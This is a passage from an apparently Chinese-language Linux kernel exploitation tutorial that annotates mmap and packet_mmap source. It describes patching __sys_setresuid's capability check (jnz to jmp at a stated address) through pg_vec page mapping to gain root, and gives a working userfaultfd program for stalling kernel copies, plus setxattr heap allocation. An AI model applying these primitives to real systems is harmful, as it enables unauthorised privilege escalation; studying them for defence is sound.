47
48
49
// mm/mmap.c
// https://elixir.bootlin.com/linux/v5.19.17/source/mm/mmap.c#L1595
unsigned long ksys_mmap_pgoff(unsigned long addr, unsigned long len,
unsigned long prot, unsigned long flags,
unsigned long fd, unsigned long pgoff)
{
struct file *file = NULL;
unsigned long retval;
// 预处理文件映射
if (!(flags & MAP_ANONYMOUS)) {
audit_mmap_fd(fd, flags);
file = fget(fd); // 把fd转换成struct file *file
if (!file)
return -EBADF;
// 预处理非匿名映射下的 hugepage
if (is_file_hugepages(file)) {
len = ALIGN(len, huge_page_size(hstate_file(file)));
// file 本身是 hugetlb 文件,mmap映射时不需要MAP_HUGETLB
} else if (unlikely(flags & MAP_HUGETLB)) {
retval = -EINVAL;
goto out_fput;
}
// hugetlb 文件映射
} else if (flags & MAP_HUGETLB) {
struct hstate *hs;

hs = hstate_sizelog((flags >> MAP_HUGE_SHIFT) & MAP_HUGE_MASK);
if (!hs)
return -EINVAL;

len = ALIGN(len, huge_page_size(hs));
/*
* VM_NORESERVE is used because the reservations will be
* taken when vm_ops->mmap() is called
*/
file = hugetlb_file_setup(HUGETLB_ANON_FILE, len,
VM_NORESERVE,
HUGETLB_ANONHUGE_INODE,
(flags >> MAP_HUGE_SHIFT) & MAP_HUGE_MASK);
if (IS_ERR(file))
return PTR_ERR(file);
}
// 进行映射
retval = vm_mmap_pgoff(file, addr, len, prot, flags, pgoff);
out_fput:
if (file)
fput(file);
return retval;
}

vm_mmap_pgoff

调用do_mmap()进一步完成映射

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
// mm/util.c
// https://elixir.bootlin.com/linux/v5.19.17/source/mm/util.c#L539
unsigned long vm_mmap_pgoff(struct file *file, unsigned long addr,
unsigned long len, unsigned long prot,
unsigned long flag, unsigned long pgoff)
{
unsigned long ret;
struct mm_struct *mm = current->mm; // 获取当前进程的地址空间描述符
unsigned long populate; //取决于MAP_POPULATE 或者 MAP_LOCKED,会在映射后立即分配物理页面
LIST_HEAD(uf); // userfaultfd 用的临时链表头

ret = security_mmap_file(file, prot, flag);
if (!ret) {
// 上写锁
if (mmap_write_lock_killable(mm))
return -EINTR;
ret = do_mmap(file, addr, len, prot, flag, pgoff, &populate,
&uf);
mmap_write_unlock(mm);
userfaultfd_unmap_complete(mm, &uf);
// 提前分配物理内存页面,后期访问该地址就不会缺页
// 否则需要后期切到内核态来处理缺页时再分配物理页面
if (populate)
mm_populate(ret, populate);
}
return ret;
}

do_mmap

对映射方式的选择之后,调用核心���数mmap_region()进行映射

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
// mm/mmap.c
// https://elixir.bootlin.com/linux/v5.19.17/source/mm/mmap.c#L1416
/*
* The caller must write-lock current->mm->mmap_lock.
*/
unsigned long do_mmap(struct file *file, unsigned long addr,
unsigned long len, unsigned long prot,
unsigned long flags, unsigned long pgoff,
unsigned long *populate, struct list_head *uf)
{
struct mm_struct *mm = current->mm; // 获取当前进程的地址空间描述符
vm_flags_t vm_flags;
int pkey = 0;

*populate = 0; // 默认不需要 populate

if (!len)
return -EINVAL;

/*
* Does the application expect PROT_READ to imply PROT_EXEC?
*
* (the exception is when the underlying filesystem is noexec
* mounted, in which case we dont add PROT_EXEC.)
*/
if ((prot & PROT_READ) && (current->personality & READ_IMPLIES_EXEC))
if (!(file && path_noexec(&file->f_path)))
prot |= PROT_EXEC;

/* force arch specific MAP_FIXED handling in get_unmapped_area */
if (flags & MAP_FIXED_NOREPLACE)
flags |= MAP_FIXED;

if (!(flags & MAP_FIXED))
addr = round_hint_to_min(addr);

/* Careful about overflows.. */
len = PAGE_ALIGN(len);
if (!len)
return -ENOMEM;

/* offset overflow? */
if ((pgoff + (len >> PAGE_SHIFT)) < pgoff)
return -EOVERFLOW;

/* Too many mappings? */
// 每个进程的 VMA 数量有上限,检查是否超过限制
if (mm->map_count > sysctl_max_map_count)
return -ENOMEM;

/* Obtain the address to map to. we verify (or select) it and ensure
* that it represents a valid section of the address space.
*/
// 根据flags,在进程虚拟内存空间中找到一个未映射的内存范围
addr = get_unmapped_area(file, addr, len, pgoff, flags);
if (IS_ERR_VALUE(addr))
return addr;

if (flags & MAP_FIXED_NOREPLACE) {
if (find_vma_intersection(mm, addr, addr + len))
return -EEXIST;
}
// 请求的是 execute-only 映射,内核尝试分配一个 protection key
if (prot == PROT_EXEC) {
pkey = execute_only_pkey(mm);
if (pkey < 0)
pkey = 0;
}

/* Do simple checking here so the lower-level routines won't have
* to. we assume access permissions have been handled by the open
* of the memory object, so we don't do any here.
*/
// 把 prot/flags 转成内核 vm_flags
vm_flags = calc_vm_prot_bits(prot, pkey) | calc_vm_flag_bits(flags) |
mm->def_flags | VM_MAYREAD | VM_MAYWRITE | VM_MAYEXEC;
// 是否锁定
if (flags & MAP_LOCKED)
// 检查是否能被锁定
if (!can_do_mlock())
return -EPERM;
// 未来锁页资源检查
if (mlock_future_check(mm, vm_flags, len))
return -EAGAIN;
// 文件映射
if (file) {
struct inode *inode = file_inode(file); // 获取元数据
unsigned long flags_mask;

if (!file_mmap_ok(file, inode, pgoff, len))
return -EOVERFLOW;

flags_mask = LEGACY_MAP_MASK | file->f_op->mmap_supported_flags;

switch (flags & MAP_TYPE) {
case MAP_SHARED:
/*
* Force use of MAP_SHARED_VALIDATE with non-legacy
* flags. E.g. MAP_SYNC is dangerous to use with
* MAP_SHARED as you don't know which consistency model
* you will get. We silently ignore unsupported flags
* with MAP_SHARED to preserve backward compatibility.
*/
flags &= LEGACY_MAP_MASK;
fallthrough;
case MAP_SHARED_VALIDATE:
if (flags & ~flags_mask)
return -EOPNOTSUPP;
if (prot & PROT_WRITE) {
if (!(file->f_mode & FMODE_WRITE))
return -EACCES;
if (IS_SWAPFILE(file->f_mapping->host))
return -ETXTBSY;
}

/*
* Make sure we don't allow writing to an append-only
* file..
*/
if (IS_APPEND(inode) && (file->f_mode & FMODE_WRITE))
return -EACCES;

vm_flags |= VM_SHARED | VM_MAYSHARE;
if (!(file->f_mode & FMODE_WRITE))
vm_flags &= ~(VM_MAYWRITE | VM_SHARED);
fallthrough;
// 匿名映射
case MAP_PRIVATE:
if (!(file->f_mode & FMODE_READ))
return -EACCES;
if (path_noexec(&file->f_path)) {
if (vm_flags & VM_EXEC)
return -EPERM;
vm_flags &= ~VM_MAYEXEC;
}
// 文件对象自己提供mmap
if (!file->f_op->mmap)
return -ENODEV;
if (vm_flags & (VM_GROWSDOWN|VM_GROWSUP))
return -EINVAL;
break;

default:
return -EINVAL;
}
} else {
switch (flags & MAP_TYPE) {
case MAP_SHARED:
if (vm_flags & (VM_GROWSDOWN|VM_GROWSUP))
return -EINVAL;
/*
* Ignore pgoff.
*/
pgoff = 0;
vm_flags |= VM_SHARED | VM_MAYSHARE;
break;
case MAP_PRIVATE:
/*
* Set pgoff according to addr for anon_vma.
*/
pgoff = addr >> PAGE_SHIFT;
break;
default:
return -EINVAL;
}
}

/*
* Set 'VM_NORESERVE' if we should not account for the
* memory use of this mapping.
*/
if (flags & MAP_NORESERVE) {
/* We honor MAP_NORESERVE if allowed to overcommit */
if (sysctl_overcommit_memory != OVERCOMMIT_NEVER)
vm_flags |= VM_NORESERVE;

/* hugetlb applies strict overcommit unless MAP_NORESERVE */
// 大页内存映射的时候,默认自带VM_NORESERVE,因为大页会被提前预留出来
if (file && is_file_hugepages(file))
vm_flags |= VM_NORESERVE;
}
// 真正创建映射
addr = mmap_region(file, addr, len, vm_flags, pgoff, uf);
if (!IS_ERR_VALUE(addr) &&
((vm_flags & VM_LOCKED) ||
(flags & (MAP_POPULATE | MAP_NONBLOCK)) == MAP_POPULATE))
*populate = len;
return addr;
}

mmap_region

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
// mm/mmap.c
// https://elixir.bootlin.com/linux/v5.19.17/source/mm/mmap.c#L1729
unsigned long mmap_region(struct file *file, unsigned long addr,
unsigned long len, vm_flags_t vm_flags, unsigned long pgoff,
struct list_head *uf)
{
struct mm_struct *mm = current->mm;
struct vm_area_struct *vma, *prev, *merge;
int error;
struct rb_node **rb_link, *rb_parent;
unsigned long charged = 0;

/* Check against address space limit. */
// 检查映射是否超过 虚拟内存空间 的限制
if (!may_expand_vm(mm, vm_flags, len >> PAGE_SHIFT)) {
unsigned long nr_pages;

/*
* MAP_FIXED may remove pages of mappings that intersects with
* requested mapping. Account for the pages it would unmap.
*/
/* 如果为MAP_FIXED,addr为强制映射地址,可能会有映射重叠
需要统计[addr,addr+len]重叠的虚拟内存页数-> nr_pages
*/
// nr_pages是重叠的映射部分
nr_pages = count_vma_pages_range(mm, addr, addr + len);
// (len >> PAGE_SHIFT) - nr_pages == 需要申请映射的部分 是否超过限制
if (!may_expand_vm(mm, vm_flags,
(len >> PAGE_SHIFT) - nr_pages))
return -ENOMEM;
}

/* Clear old maps, set up prev, rb_link, rb_parent, and uf */
// 清除旧的映射,后面因为重叠会重新映射这部分
if (munmap_vma_range(mm, addr, len, &prev, &rb_link, &rb_parent, uf))
return -ENOMEM;
/*
* Private writable mapping: check memory availability
*/
if (accountable_mapping(file, vm_flags)) {
charged = len >> PAGE_SHIFT;
if (security_vm_enough_memory_mm(mm, charged))
return -ENOMEM;
vm_flags |= VM_ACCOUNT;
}

/*
* Can we just expand an old mapping?
*/
// 判断是否能和已有的vma合并
vma = vma_merge(mm, prev, addr, addr + len, vm_flags,
NULL, file, pgoff, NULL, NULL_VM_UFFD_CTX, NULL);
if (vma)
goto out;

/*
* Determine the object being mapped and call the appropriate
* specific mapper. the address has already been validated, but
* not unmapped, but the maps are removed from the list.
*/
// 不能合并,就会从新申请object来给新的vma
vma = vm_area_alloc(mm);
if (!vma) {
error = -ENOMEM;
goto unacct_error;
}

vma->vm_start = addr;
vma->vm_end = addr + len;
vma->vm_flags = vm_flags;
vma->vm_page_prot = vm_get_page_prot(vm_flags);
vma->vm_pgoff = pgoff;
// 文件映射
if (file) {
if (vm_flags & VM_SHARED) {
error = mapping_map_writable(file->f_mapping);
if (error)
goto free_vma;
}

vma->vm_file = get_file(file); // 文件与虚拟内存关联
error = call_mmap(file, vma); // 调用文件自带ops
if (error)
goto unmap_and_free_vma;

/* Can addr have changed??
*
* Answer: Yes, several device drivers can do it in their
* f_op->mmap method. -DaveM
* Bug: If addr is changed, prev, rb_link, rb_parent should
* be updated for vma_link()
*/
WARN_ON_ONCE(addr != vma->vm_start);

addr = vma->vm_start;

/* If vm_flags changed after call_mmap(), we should try merge vma again
* as we may succeed this time.
*/
if (unlikely(vm_flags != vma->vm_flags && prev)) {
merge = vma_merge(mm, prev, vma->vm_start, vma->vm_end, vma->vm_flags,
NULL, vma->vm_file, vma->vm_pgoff, NULL, NULL_VM_UFFD_CTX, NULL);
if (merge) {
/* ->mmap() can change vma->vm_file and fput the original file. So
* fput the vma->vm_file here or we would add an extra fput for file
* and cause general protection fault ultimately.
*/
fput(vma->vm_file);
vm_area_free(vma);
vma = merge;
/* Update vm_flags to pick up the change. */
vm_flags = vma->vm_flags;
goto unmap_writable;
}
}

vm_flags = vma->vm_flags;
} else if (vm_flags & VM_SHARED) {
error = shmem_zero_setup(vma);
if (error)
goto free_vma;
} else {
vma_set_anonymous(vma);
}

/* Allow architectures to sanity-check the vm_flags */
if (!arch_validate_flags(vma->vm_flags)) {
error = -EINVAL;
if (file)
goto close_and_free_vma;
else
goto free_vma;
}
// 将vma 插入到管理的红黑树中
vma_link(mm, vma, prev, rb_link, rb_parent);

/*
* vma_merge() calls khugepaged_enter_vma() either, the below
* call covers the non-merge case.
*/
khugepaged_enter_vma(vma, vma->vm_flags);

/* Once vma denies write, undo our temporary denial count */
unmap_writable:
if (file && vm_flags & VM_SHARED)
mapping_unmap_writable(file->f_mapping);

file = vma->vm_file;
out:
perf_event_mmap(vma);

vm_stat_account(mm, vm_flags, len >> PAGE_SHIFT);
if (vm_flags & VM_LOCKED) {
if ((vm_flags & VM_SPECIAL) || vma_is_dax(vma) ||
is_vm_hugetlb_page(vma) ||
vma == get_gate_vma(current->mm))
vma->vm_flags &= VM_LOCKED_CLEAR_MASK;
else
mm->locked_vm += (len >> PAGE_SHIFT);
}

if (file)
uprobe_mmap(vma);

/*
* New (or expanded) vma always get soft dirty status.
* Otherwise user-space soft-dirty page tracker won't
* be able to distinguish situation when vma area unmapped,
* then new mapped in-place (which must be aimed as
* a completely new data area).
*/
vma->vm_flags |= VM_SOFTDIRTY;

vma_set_page_prot(vma);

return addr;

close_and_free_vma:
if (vma->vm_ops && vma->vm_ops->close)
vma->vm_ops->close(vma);
unmap_and_free_vma:
fput(vma->vm_file);
vma->vm_file = NULL;

/* Undo any partial mapping done by a device driver. */
unmap_region(mm, vma, prev, vma->vm_start, vma->vm_end);
if (vm_flags & VM_SHARED)
mapping_unmap_writable(file->f_mapping);
free_vma:
vm_area_free(vma);
unacct_error:
if (charged)
vm_unacct_memory(charged);
return error;
}

packet_mmap

packet_mmap会将这些内核虚拟地址代表的物理页映射到用户态

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
static int packet_mmap(struct file *file, struct socket *sock,
struct vm_area_struct *vma)
{
struct sock *sk = sock->sk;
struct packet_sock *po = pkt_sk(sk);
unsigned long size, expected_size;
struct packet_ring_buffer *rb;
unsigned long start;
int err = -EINVAL;
int i;
// packet ring 只支持从 offset 0 开始整块映射,不支持带偏移的局部映射
if (vma->vm_pgoff)
return -EINVAL;

mutex_lock(&po->pg_vec_lock);

expected_size = 0;
for (rb = &po->rx_ring; rb <= &po->tx_ring; rb++) {
if (rb->pg_vec) {
expected_size += rb->pg_vec_len
* rb->pg_vec_pages
* PAGE_SIZE;
}
}

if (expected_size == 0)
goto out;

size = vma->vm_end - vma->vm_start;
if (size != expected_size)
goto out;
// 从 vma->vm_start 开始,按页依次插入
// pg_vec存储着连续的虚拟地址,现在循环遍历将这些虚拟地址代表的物理页面映射到用户态
// 然后用户态的时候就能对物理页面直接进行读写
start = vma->vm_start;
for (rb = &po->rx_ring; rb <= &po->tx_ring; rb++) {
if (rb->pg_vec == NULL)
continue;
// rb->pg_vec_len是setsockopt()时传入的block_nr
for (i = 0; i < rb->pg_vec_len; i++) {
struct page *page;
// 从alloc_pg_vec()申请的堆中,取出各block的虚拟地址
void *kaddr = rb->pg_vec[i].buffer;
int pg_num;
// setsockopt()时传入的block_size/PAGE_SIZE,得到rb->pg_vec_pages
for (pg_num = 0; pg_num < rb->pg_vec_pages; pg_num++) {
page = pgv_to_page(kaddr);
err = vm_insert_page(vma, start, page);
if (unlikely(err))
goto out;
start += PAGE_SIZE;
kaddr += PAGE_SIZE;
}
}
}

atomic_inc(&po->mapped);
vma->vm_ops = &packet_mmap_ops;
err = 0;

out:
mutex_unlock(&po->pg_vec_lock);
return err;
}

// 对page进行检查,检查page是否为匿名页,是否为子系统分配的页,是否含有type
int vm_insert_page(struct vm_area_struct *vma, unsigned long addr,
struct page *page)
{
if (addr < vma->vm_start || addr >= vma->vm_end)
return -EFAULT;
if (!page_count(page))
return -EINVAL;
if (!(vma->vm_flags & VM_MIXEDMAP)) {
BUG_ON(mmap_read_trylock(vma->vm_mm));
BUG_ON(vma->vm_flags & VM_PFNMAP);
vma->vm_flags |= VM_MIXEDMAP;
}
return insert_page(vma, addr, page, vma->vm_page_prot);
}
EXPORT_SYMBOL(vm_insert_page);

static int insert_page(struct vm_area_struct *vma, unsigned long addr,
struct page *page, pgprot_t prot)
{
int retval;
pte_t *pte;
spinlock_t *ptl;

retval = validate_page_before_insert(page);
if (retval)
goto out;
retval = -ENOMEM;
pte = get_locked_pte(vma->vm_mm, addr, &ptl);
if (!pte)
goto out;
retval = insert_page_into_pte_locked(vma, pte, addr, page, prot);
pte_unmap_unlock(pte, ptl);
out:
return retval;
}

static int validate_page_before_insert(struct page *page)
{
if (PageAnon(page) || PageSlab(page) || page_has_type(page))
return -EINVAL;
flush_dcache_page(page);
return 0;
}

// include/linux/page-flags.h
#define PAGE_MAPCOUNT_RESERVE -128
#define PG_buddy 0x00000080 //伙伴系统页
#define PG_offline 0x00000100 //内存交换出去的页
#define PG_table 0x00000200 //页表的页
#define PG_guard 0x00000400 //内存屏障的页

如果传入的page为内核代码的页,以上检查都可以绕过,就可以利用pg_vec修改内核代码段,这个时候传入__sys_setresuid的内核代码页的虚拟地址,然后对逻辑判断处改为jmp跳转就可以完成提权

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
long __sys_setresuid(uid_t ruid, uid_t euid, uid_t suid)
{
// ...
// 将这里改为jmp跳转
if (!ns_capable_setid(old->user_ns, CAP_SETUID)) {
if (ruid != (uid_t) -1 && !uid_eq(kruid, old->uid) &&
!uid_eq(kruid, old->euid) && !uid_eq(kruid, old->suid))
goto error;
if (euid != (uid_t) -1 && !uid_eq(keuid, old->uid) &&
!uid_eq(keuid, old->euid) && !uid_eq(keuid, old->suid))
goto error;
if (suid != (uid_t) -1 && !uid_eq(ksuid, old->uid) &&
!uid_eq(ksuid, old->euid) && !uid_eq(ksuid, old->suid))
goto error;
}

// ...
}

// 汇编逻辑
.text:FFFFFFFF81086FD1 call ns_capable_setid
.text:FFFFFFFF81086FD6 test al, al
.text:FFFFFFFF81086FD8 jnz short loc_FFFFFFFF81087044 // 不为0则跳转

// 将jnz改为jmp,即可让其无条件跳转,使得权限校验失效
// 将0xFFFFFFFF81086FD8地址处的值修改为0xeb(jmp)

userfaultfd

userfaultfd是linux的一个系统调用(无libc封装函数),它的出现(Linux 4.3)给用户态提供了缺页处理的能力。userfaultfd系统调用返回给用户态进程的是一个用于处理page faults的文件描述符。

使用userfaultfd

  1. 通过userfaultfd系统调用创建userfaultfd object

    1
    2
    3
    4
    uint64_t uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
    if (uffd == -1) {
    ErrExit("userfaultfd");
    }
  2. 用户态进程需要先通过UFFD_API这个ioctl命令,使能userfaultfd

    1
    2
    3
    4
    5
    6
    7
    8
    struct uffdio_api api = {
    .api = UFFD_API,
    .features = 0,
    };

    if (ioctl((int)uffd, UFFDIO_API, &api) == -1) {
    ErrExit("ioctl-UFFDIO_API");
    }
  3. 用户态进程通过UFFDIO_REGISTER这个ioctl命令,注册设置内存地址范围

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    struct uffdio_register reg = {
    .range =
    {
    .start = (unsigned long)fault_page,
    .len = len,
    },
    .mode = UFFDIO_REGISTER_MODE_MISSING,
    };

    if (ioctl((int)uffd, UFFDIO_REGISTER, &reg) == -1) {
    ErrExit("ioctl-UFFDIO_REGISTER");
    }
  4. 最后用户态进程可使用UFFDIO_COPY或UFFDIO_ZEROPAGE两个ioctl命令来处理缺页异常

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    if (pthread_create(monitor_thread, NULL, userfaultfd_handler,
    (void *)uffd) != 0) {
    ErrExit("pthread_create");
    }

    static void *userfaultfd_handler(void *arg) {
    uint64_t uffd = (uint64_t)arg;
    struct uffd_msg msg;
    struct pollfd pfd = {.fd = (int)uffd, .events = POLLIN};
    struct uffdio_copy copy = {0};
    size_t page_size = sysconf(_SC_PAGE_SIZE);
    char *page;

    if (poll(&pfd, 1, -1) <= 0) {
    ErrExit("poll");
    }
    if (read((int)uffd, &msg, sizeof(msg)) <= 0) {
    ErrExit("read");
    }
    if (msg.event != UFFD_EVENT_PAGEFAULT) {
    ErrExit("unexpected userfaultfd event");
    }

    puts("[+] in usefaultfd handler, i will sleep 60s");
    sleep(60);

    page = mmap(NULL, page_size, PROT_READ | PROT_WRITE,
    MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    if (page == MAP_FAILED) {
    ErrExit("mmap");
    }
    memset(page, 0, page_size);

    copy.src = (unsigned long)page;
    copy.dst = (unsigned long)msg.arg.pagefault.address & ~(page_size - 1);
    copy.len = page_size;
    if (ioctl((int)uffd, UFFDIO_COPY, &copy) == -1) {
    ErrExit("ioctl-UFFDIO_COPY");
    }
    return NULL;
    }

userfaultfd.png

Faulting Thread:

  • Faulting thread 是指当前发生页面故障的线程。当一个线程尝试访问一个不在物理内存中的页面时,内核会触发一个页面故障,并在此线程中处理该故障。
  • 该线程可能会导致内核进入一个异常状态,处理这个页面故障的流程将由内核负责。

MM Core (Memory Management Core):

  • MM Core 是 Linux 内核中用于内存管理的核心组件,负责管理进程的虚拟内存空间。
  • 它处理内存分配、释放、页面置换等,确保进程的虚拟地址空间能够正确映射到物理内存或者存储设备上。

Userfaultfd:

  • userfaultfd 是一个系统调用,用于创建一个文件描述符,用户可以通过这个描述符来监控和处理页面故障。
  • 当一个程序注册了一个 userfaultfd 描述符后,内核会在发生页面故障时,将故障信息发送到该描述符,允许用户空间程序决定如何处理页面故障。

UFFD Monitor (Userfaultfd Monitor):

  • UFFD Monitor 是用户空间线程,用于处理 userfaultfd 描述符发出的事件。
  • 当某个线程发生页面故障时,内核会向 UFFD Monitor 通知,这个监视线程会读取 userfaultfd 文件描述符,接收到页面故障事件后,然后再执行相应的处理逻辑。

linux 5.2开始,在内核中增加了一个开关,通过sysctl_unprivileged_userfaultfd来控制是否允许用非特权用户使用userfaultfd功能(默认情况下设置为0,不允许非特权用户使用)

1
2
if (!sysctl_unprivileged_userfaultfd && !capable(CAP_SYS_PTRACE))
return -EPERM;

linux 5.11开始,又增加了UFFD_USER_MODE_ONLY标志位,决定了userfaultfd是否仅处理用户空间的page fault。Blocking userfaultfd() kernel-fault handling 文章中指出,新版本内核中默认禁止非特权进程使用userfaultfd,非特权进程只能通过设置sysctl_unprivileged_userfaultfd从而安全地调用userfaultfd(只能处理用户态的缺页错误,启用UFFD_USER_MODE_ONLY标志着userfaultfd不允许在内核态使用)

1
2
3
4
5
6
7
8
if (!sysctl_unprivileged_userfaultfd &&
(flags & UFFD_USER_MODE_ONLY) == 0 &&
!capable(CAP_SYS_PTRACE)) {
printk_once(KERN_WARNING "uffd: Set unprivileged_userfaultfd "
"sysctl knob to 1 if kernel faults must be handled "
"without obtaining CAP_SYS_PTRACE capability\n");
return -EPERM;
}

查看是否开UFFD_USER_MODE_ONLY

1
2
3
zgrep CONFIG_USERFAULTFD /proc/config.gz
grep CONFIG_USERFAULTFD /boot/config-$(uname -r)
#CONFIG_USERFAULTFD=y表示支持

看当前是否允许非特权进程使用

1
2
3
sysctl vm.unprivileged_userfaultfd
cat /proc/sys/vm/unprivileged_userfaultfd
#0 表示默认有限制,1 表示宽松

可以通过编译下面这段完整示例,确认能否使用userfaultfd。该程序会创建一个 pipe,再让工作线程执行 write(),触发内核态 copy_from_user 访问注册页。如果出现[+] in usefaultfd handler, i will sleep 60s\n字符串打印,表明可以使用这套 userfaultfd 示例。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
// gcc test.c -lpthread -o test
#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <unistd.h>

#define PAGE_SIZE sysconf(_SC_PAGE_SIZE)

struct write_args {
int fd;
char *buf;
};

static void ErrExit(const char *err_msg)
{
perror(err_msg);
exit(EXIT_FAILURE);
}

static void *userfaultfd_handler(void *arg)
{
long uffd = (long)arg;
struct uffd_msg msg;
struct pollfd pfd = {.fd = (int)uffd, .events = POLLIN};
struct uffdio_copy copy = {0};
char *page;

if (poll(&pfd, 1, -1) <= 0)
ErrExit("poll");

if (read((int)uffd, &msg, sizeof(msg)) <= 0)
ErrExit("read");

if (msg.event != UFFD_EVENT_PAGEFAULT)
ErrExit("unexpected userfaultfd event");

puts("[+] in usefaultfd handler, i will sleep 60s");
sleep(60);
puts("[+] sleep done");

page = mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (page == MAP_FAILED)
ErrExit("mmap");
memset(page, 0, PAGE_SIZE);

copy.src = (unsigned long)page;
copy.dst = (unsigned long)msg.arg.pagefault.address & ~(PAGE_SIZE - 1);
copy.len = PAGE_SIZE;
if (ioctl((int)uffd, UFFDIO_COPY, &copy) == -1)
ErrExit("ioctl-UFFDIO_COPY");

puts("[+] handler done");
return NULL;
}

static void register_userfault(pthread_t *monitor_thread, void *fault_page,
size_t len, void *(*handler)(void *))
{
long uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
struct uffdio_api api = {
.api = UFFD_API,
.features = 0,
};
struct uffdio_register reg = {
.range =
{
.start = (unsigned long)fault_page,
.len = len,
},
.mode = UFFDIO_REGISTER_MODE_MISSING,
};

if (uffd == -1)
ErrExit("userfaultfd");
if (ioctl((int)uffd, UFFDIO_API, &api) == -1)
ErrExit("ioctl-UFFDIO_API");
if (ioctl((int)uffd, UFFDIO_REGISTER, &reg) == -1)
ErrExit("ioctl-UFFDIO_REGISTER");
if (pthread_create(monitor_thread, NULL, handler, (void *)uffd) != 0)
ErrExit("pthread_create");
}

static void *write_thread(void *arg)
{
struct write_args *args = arg;

puts("[+] worker thread created");
if (write(args->fd, args->buf, 0x200) == -1)
ErrExit("write");
return NULL;
}

int main(void)
{
char *addr;
int pipefd[2];
pthread_t uffd_thread;
pthread_t worker_thread;
struct write_args args;

addr = mmap(NULL, PAGE_SIZE * 2, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (addr == MAP_FAILED)
ErrExit("mmap");

if (pipe(pipefd) == -1)
ErrExit("pipe");

register_userfault(&uffd_thread, addr + PAGE_SIZE, PAGE_SIZE,
userfaultfd_handler);

args.fd = pipefd[1];
args.buf = addr + PAGE_SIZE - 0x100;
if (pthread_create(&worker_thread, NULL, write_thread, &args) != 0)
ErrExit("pthread_create worker");

pthread_join(worker_thread, NULL);
pthread_join(uffd_thread, NULL);
return 0;
}

setxattr(任意大小 object 分配(GFP_KERNEL)& 释放)

通过setxattr这一系统调用,我们可以在内核空间分配任意大小的object

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#include <sys/xattr.h>

int setxattr(size_t size;
const char *path, const char *name,
const void value[size], size_t size, int flags);

/*
pathname: 目标文件路径(用户空间指针)
name: 扩展属性名
value: 扩展属性值(用户空间指针)
size: value 的字节长度
flags: XATTR_CREATE(属性必须不存在)或 XATTR_REPLACE(属性必须已存在),或 0
*/


setxattr定义

1
2
3
4
5
6
7
8
9
10
// fs/xattr.c
// https://elixir.bootlin.com/linux/v5.19.17/source/fs/xattr.c#L642
// __user 标记是 sparse 静态分析标记,它标记该指针来自用户空间
// LOOKUP_FOLLOW 表示路径查找时跟随符号链接
SYSCALL_DEFINE5(setxattr, const char __user *, pathname,
const char __user *, name, const void __user *, value,
size_t, size, int, flags)
{
return path_setxattr(pathname, name, value, size, flags, LOOKUP_FOLLOW);
}

path_setxattr

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
